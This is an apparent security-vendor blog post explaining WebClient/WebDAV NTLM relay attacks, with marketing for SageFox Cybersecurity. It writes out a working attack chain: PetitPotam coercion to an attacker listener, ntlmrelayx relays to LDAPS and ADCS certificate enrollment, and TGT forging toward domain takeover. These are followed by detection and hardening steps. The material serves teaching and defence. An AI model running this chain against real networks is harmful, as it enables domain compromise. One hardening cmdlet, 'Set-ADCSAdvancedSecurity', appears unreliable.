WebClient Abuse: NTLM Relay Attacks Explained

Windows environments run more background services than most administrators realize, and one of the quietest is the WebClient service, the component responsible for WebDAV connectivity. For years this service sat in the shadows of enterprise networks until red teamers and threat actors alike discovered it could be coerced into authenticating to attacker-controlled infrastructure, opening the door to NTLM relay attacks that bypass many of the mitigations organizations put in place after PetitPotam and PrinterBug became household names.

This post breaks down what WebClient abuse actually is, how it fits into the broader coerced authentication attack chain, the tooling used to detect and exploit it, and what defenders need to do to shut it down.

What Is the WebClient Service in Windows

The WebClient service (short name: WebClient, display name "WebClient") implements the WebDAV Mini-Redirector, allowing a Windows host to mount and interact with WebDAV shares the same way it would a standard SMB share. It is not enabled by default on most server builds, but it is enabled by default on workstation editions of Windows, and it gets started automatically the moment a process attempts to reach a UNC path over HTTP rather than SMB, typically on port 80 or a custom port like 8080.

This matters enormously for attackers because SMB-based coercion (port 445) is now heavily monitored and frequently blocked at the network layer. WebDAV traffic on port 80, however, often sails through firewalls and EDR rulesets that were tuned specifically for SMB relay detection.

Why Attackers Prefer WebDAV Over SMB for Coercion

1. Port 445 outbound is frequently blocked between workstations and untrusted segments; port 80 rarely is.
2. WebDAV authentication still uses NTLM under the hood, so the relay mechanics are identical to SMB based coercion.
3. Many organizations that patched or mitigated PetitPotam over SMB never accounted for the WebDAV variant.
4. The WebClient service, once triggered, stays running and listening on a random high port for six minutes by default, giving attackers a window to identify and target it.

If your organization is auditing coercion paths as part of a red team engagement or purple team exercise, SageFox Cybersecurity treats WebClient enumeration as a standard step in internal AD assessments. You can learn more about our methodology at SageFox Cybersecurity.

How WebClient Coercion Works Technically

The attack chain generally follows this sequence:

1. Identify a host with the WebClient service running or coercible into starting.
2. Use a coercion primitive (MS-EFSR, MS-FSRVP, or a crafted WebDAV request) to force that host to authenticate to an attacker-controlled listener.
3. Capture the NTLM authentication attempt.
4. Relay the captured NTLM negotiation to a target service, commonly LDAP or LDAPS, ADCS certificate enrollment endpoints, or SMB on a machine where the coerced account has privileges.
5. Use the relayed session to perform privileged actions, such as issuing a certificate, adding a computer account, or dumping secrets.

Checking Whether a Host Has WebClient Running

Before attempting coercion, confirm whether the target has the WebClient service active. A quick way to check remotely without authenticated access is to look for the characteristic pipe:

bash

nxc smb 10.10.10.15 -u guest -p '' -M webdav

If the module reports WebDAV is running, the host is a viable coercion target.

Alternatively, from an authenticated foothold you can query the service state directly:

powershell

Get-Service WebClient -ComputerName TARGET-HOST | Select-Object Status, StartType

[cta]

Triggering the WebClient Service

If the service is stopped, it can often be started passively simply by referencing a UNC path over HTTP from the target host, something as simple as a scheduled task, a malicious LNK file with a WebDAV path, or a coerced RPC call that references an HTTP-based UNC.

A common technique uses the PetitPotam style call against MS-EFSR but points the response path at a WebDAV listener instead of a raw SMB listener:

bash

python3 PetitPotam.py -d CORP.LOCAL -u lowpriv -p 'Passw0rd!' attacker-ip@80/coerced TARGET-HOST

Note the @80 in the listener string. This tells the target to authenticate back over HTTP/WebDAV rather than SMB, which is what forces the WebClient service into action on the victim.

[cta]

Setting Up the Relay Listener

With ntlmrelayx from Impacket, you configure the relay target and start listening for the coerced authentication:

bash

ntlmrelayx.py -t ldaps://dc01.corp.local -smb2support --http-port 80 --no-wcf-server

Key flags worth understanding:

• -t defines the relay target, in this case LDAPS on the domain controller for account or shadow credential attacks.
• --http-port 80 ensures the listener matches the port WebClient expects.
• --no-wcf-server disables the WCF listener since we are only interested in HTTP/WebDAV coercion in this scenario.

Once the coerced host authenticates, ntlmrelayx relays the NTLM negotiation live to the LDAPS target and can be scripted to automatically add a computer account, dump the domain naming context, or write a shadow credential to a target user object.

[cta]

Relaying to ADCS: The High-Value Target

One of the most damaging outcomes of WebClient coercion is relaying straight into Active Directory Certificate Services enrollment endpoints. If the environment has a vulnerable certificate template (commonly referred to as ESC8 in certificate abuse research), a relayed machine authentication can be used to request a certificate impersonating a domain controller.

bash

ntlmrelayx.py -t http://ca-server.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

Once the relay succeeds and a certificate is issued, that certificate can be used with a Kerberos ticket-forging tool to request a TGT as the impersonated machine account:

bash

python3 gettgtpkinit.py -cert-pfx dc01.pfx CORP.LOCAL/DC01\$ dc01.ccache

From there, the resulting TGT can be used with pass-the-ticket to authenticate as the domain controller itself, a scenario that typically leads directly to full domain compromise.

This exact chain, from WebClient coercion through certificate abuse to domain takeover, is one of the most common findings SageFox Cybersecurity documents during internal Active Directory assessments. If you want a professional team to validate whether your environment is exposed to this chain, reach out through SageFox Cybersecurity.

Detecting WebClient Abuse in Your Environment

Network-Level Detection

Monitor for outbound WebDAV traffic originating from workstations toward unusual or external IP addresses, particularly on port 80 or 8080 where the destination is not an approved WebDAV server. A basic Zeek signature approach:

event http_request(c: connection, method: string, original_URI: string, unescaped_URI: string, version: string)
{
   if ( /\/webdav\// in unescaped_URI || method == "PROPFIND" )
   {
       print fmt("Possible WebDAV coercion traffic from %s to %s", c$id$orig_h, c$id$resp_h);
   }
}

PROPFIND is a WebDAV-specific HTTP method rarely seen in normal enterprise traffic, making it a reliable indicator when it appears unexpectedly between internal hosts.

[cta]

Host-Level Detection

Query for the WebClient service state across your fleet on a scheduled basis. A running WebClient service on a server that has no legitimate business reason to use WebDAV is a strong signal of either misconfiguration or prior exploitation attempts.

powershell

Get-WmiObject -Class Win32_Service -ComputerName (Get-Content hosts.txt) -Filter "Name='WebClient'" |
   Select-Object PSComputerName, State, StartMode

Feed this into your SIEM as a scheduled hunt and alert whenever the service transitions from Stopped to Running on servers, since workstations having it running is expected but servers should not.

Event Log Indicators

Look for Event ID 4648 (explicit credential logon) originating from unexpected source processes, combined with Event ID 5145 for access to administrative shares shortly after. Correlating these two on a domain controller in a tight time window is a strong indicator of a relay attack in progress.

Mitigation and Hardening Strategies

Disable the WebClient Service Where It Is Not Needed

For most servers, and for workstations that do not require WebDAV connectivity, disabling the service outright removes the attack surface entirely.

powershell

Stop-Service WebClient -Force
Set-Service WebClient -StartupType Disabled

Push this via Group Policy Preferences or a scheduled configuration management job across the fleet rather than handling it host by host.

[cta]

Enforce Extended Protection for Authentication (EPA)

EPA binds the NTLM authentication to the specific TLS channel it was negotiated on, which breaks the relay chain even if coercion succeeds. This should be enabled on LDAP, LDAPS, and any ADCS enrollment endpoints (HTTP and RPC).

powershell

Set-ADCSAdvancedSecurity -TemplateName "DomainController" -RequireEPA $true

Require SMB and LDAP Signing

Enforcing signing across the environment closes off a significant portion of the relay surface, particularly for SMB-to-SMB relay scenarios that often run alongside WebDAV based attacks.

powershell

Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

Segment and Restrict Outbound WebDAV Traffic

Even where the service must remain enabled for legitimate business applications, restrict which destinations workstations are permitted to reach over WebDAV using host-based firewall rules or network segmentation, rather than allowing arbitrary outbound HTTP to act as a coercion channel.

Audit Certificate Templates Regularly

Since WebClient coercion is frequently chained into ADCS abuse, review certificate templates for overly permissive enrollment rights, disable client authentication EKUs where not required, and require manager approval on sensitive templates.

Environments with complex ADCS deployments benefit from a dedicated certificate services review as part of a broader Active Directory security assessment, which is a core offering from SageFox Cybersecurity's advisory team, detailed at SageFox Cybersecurity.

Building a WebClient Abuse Detection Playbook

For blue teams looking to operationalize this knowledge, a practical playbook should include:

• A scheduled inventory sweep identifying which hosts have WebClient running and why
• A SIEM correlation rule tying PROPFIND traffic to subsequent LDAP or SMB authentication events within a short window
• A quarterly coercion primitive test using an authorized internal red team or external partner to confirm mitigations remain effective as the environment changes
• A rollback plan for EPA and signing enforcement changes, since misconfigured rollouts can break legitimate line of business applications that rely on unsigned SMB or non-EPA LDAP binds

Testing these controls under realistic adversary conditions, rather than relying solely on configuration audits, is where most organizations find gaps they did not know existed. SageFox Cybersecurity structures these tests around the exact coercion and relay chains described above, giving clients evidence-based findings instead of theoretical risk ratings. Details on engagement scoping are available at SageFox Cybersecurity.

Key Takeaways

WebClient abuse represents a quiet but serious gap in many organizations' NTLM relay defenses. Because it operates over HTTP instead of SMB, it frequently evades controls that were specifically tuned to stop SMB-based coercion techniques, and because the WebClient service is enabled by default on workstations, most enterprise networks already have a viable attack surface without realizing it.

Defending against this class of attack requires layered controls: disabling the service where unnecessary, enforcing EPA and signing everywhere authentication happens, actively hunting for WebDAV traffic anomalies, and regularly testing certificate services for relay-to-privilege-escalation chains. Treating WebClient abuse as an isolated finding misses the point; it is almost always one link in a longer chain that ends in domain compromise if left unaddressed.

Organizations that want a clear picture of their exposure to this attack chain, backed by real adversary simulation rather than a checklist, can work directly with SageFox Cybersecurity's offensive security team to validate and close these gaps before an actual attacker finds them first.